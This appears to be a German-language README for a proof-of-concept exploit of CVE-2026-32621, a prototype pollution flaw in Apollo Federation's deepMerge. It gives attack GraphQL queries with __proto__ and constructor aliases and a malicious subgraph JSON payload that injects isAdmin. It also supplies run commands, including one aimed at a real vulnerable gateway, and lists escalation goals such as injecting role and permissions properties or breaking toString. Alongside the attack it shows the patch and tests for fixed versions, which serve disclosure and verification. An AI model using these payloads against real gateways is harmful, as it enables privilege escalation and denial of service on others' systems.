
PoC-Exploit für CVE-2026-32621, der die Apollo-Federation-deepMerge-Prototype-Pollution über manipulierte GraphQL-Aliasse demonstriert, mit Tests für gepatchte Versionen.
| Feld | Wert |
|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 Kritisch |
| CWE | CWE-1321 (Prototype Pollution) |
| Betroffen | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| Behoben | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
Die deepMerge-Funktion von Apollo Federation (verwendet in @apollo/query-planner und @apollo/gateway, um Subgraph-Antworten während der Ausführung von Query-Plänen zusammenzuführen) bereinigt Schlüssel nicht, bevor auf target[key] zugegriffen wird.
Wenn ein Quellobjekt __proto__ als eigene Eigenschaft enthält (was durch JSON.parse erzeugt wird), gibt Object.keys() sie zurück, und target["__proto__"] löst über die Prototyp-Kette zu Object.prototype auf. Die Zusammenführung schreibt dann Eigenschaften direkt auf Object.prototype und verschmutzt damit die globale Prototyp-Kette für den gesamten Node.js-Prozess.
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
Ein Client sendet eine GraphQL-Abfrage mit Feld-Aliasnamen namens __proto__, constructor oder prototype. Wenn das Gateway die Antwort verarbeitet, verwendet deepMerge diese Aliase als Schlüssel und verschmutzt Object.prototype.
query {
__proto__: products {
polluted: id
}
}
Ein kompromittierter Subgraph gibt JSON mit __proto__-Schlüsseln zurück. Wenn das Gateway die Antwort über deepMerge zusammenführt, wird Object.prototype verschmutzt.
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin-, role- und permissions-Eigenschaften injizierentoString, valueOf mit null-/defekten Funktionen überschreiben
Dokument Inhalt USAGE.md Detaillierte Bedienungsanleitung mit Schritt-für-Schritt-Anweisungen DIAGRAM.md Strukturdiagramme und Visualisierung des Angriffsablaufs
| Datei | Zweck |
|------|---------| |
exploit.js| Hauptexploit mit 5 Angriffsvektoren + lokale Demonstration | |test_exploit.js| Unit-Tests (15 Tests, die Pollution und Patch validieren) | |e2e_test.js| End-to-End-Validierung (10 Tests: Gateway + Exploit + Verifizierung) | |setup_vulnerable.js| Simulator für ein verwundbares Gateway zum Testen |
# Run the local deepMerge vulnerability demonstration
node exploit.js
Dies demonstriert den exakt verwundbaren Codepfad, ohne dass ein laufendes Gateway erforderlich ist.
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
Vollständige Architekturdiagramme finden Sie in DIAGRAM.md.
__proto__, constructor, prototype in Feld-Aliasen und Variablennamen enthaltenMIT